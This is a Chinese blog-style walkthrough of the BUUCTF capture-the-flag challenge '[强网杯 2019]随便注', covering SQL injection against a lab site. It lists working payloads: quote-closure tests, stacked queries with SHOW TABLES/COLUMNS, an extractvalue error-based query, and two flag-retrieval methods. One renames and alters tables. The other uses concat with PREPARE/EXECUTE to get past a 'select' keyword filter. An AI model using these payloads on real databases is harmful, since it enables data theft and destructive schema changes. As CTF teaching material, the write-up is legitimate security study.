BUUCTF [强网杯 2019]随便注 1(两种方法)

[强网杯 2019]随便注 1

第一步,先判断注入点的传参方式,发现是get传参。

第二步,判断闭合方式:

先输入 1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yi4DKfuF-1646482069774)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220305195133940.png)]

然后再尝试输入:1’

在这里插入图片描述

说明了两点:本题的闭合方式确实是 ’ 闭合,同时我们确定在本题我们是有可能是能使用报错注入的。

1’and 1=1-- q

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6TVJTsXi-1646454831105)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220305113641505.png)]

1’and 1=2-- q
在这里插入图片描述

说明闭合方式为 单引号

如果输入1“and 1=1-- q 和1”and 1=2-- q 两次的回显结果一样,说明闭合方式不是 双引号 其他同理

第三步,判断是否有关键字过滤:

先直接输入: select 查看回显,发现:

在这里插入图片描述

发现本题过滤关键字:/select|update|delete|drop|insert|where|\.而且不区分大小写。

坏了,select一被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了。我们只剩下了 堆叠注入。

先尝试使用堆叠注入:

1’;show database-- q
在这里插入图片描述

发现可以

1’;show tables-- q

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U7y6UH7L-1646454831107)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220305115035950.png)]

发现有两个表,我们 一 一 尝试:

 1'; show columns from `words`-- q

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sX9J7GFe-1646454831108)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220305115416246.png)]

当然在报错注入查询 数据库名字的时候是不用select的,所以在这里我们是可以用的:

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MLi7w87w-1646482178657)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220305200233094.png)]

查询表名:

1'; show columns from `1919810931114514`-- q

在这里插入图片描述

发现flag.

关于在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号。

但是,在接着查询 id 就需要 select了

到这里就有两个思路:

第一种:比较骚的思路,让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。

  • 先将 words 改为别的名字 比如 words2 或者其他
  • 然后将 1919810931114514 改为 words
  • 把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
    在这之前当然要先把words表改名为其他

所以我们可以这么构造playload:

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- q
1';show tables-- q

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SB8eiiNX-1646454831109)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220305122753497.png)]

1'; show columns from words-- q

在这里插入图片描述

1'or1=1-- q

在这里插入图片描述

第二种方法:利用concat拼接(mysql的语法知识)

-1’;use supersqli;set @sql=concat(‘s’,'elect flag from 1919810931114514');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- q

这里set为变量赋值

PREPARE设置sql查询语法

EXECUTE 执行函数

  • 26
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 14
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 14
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值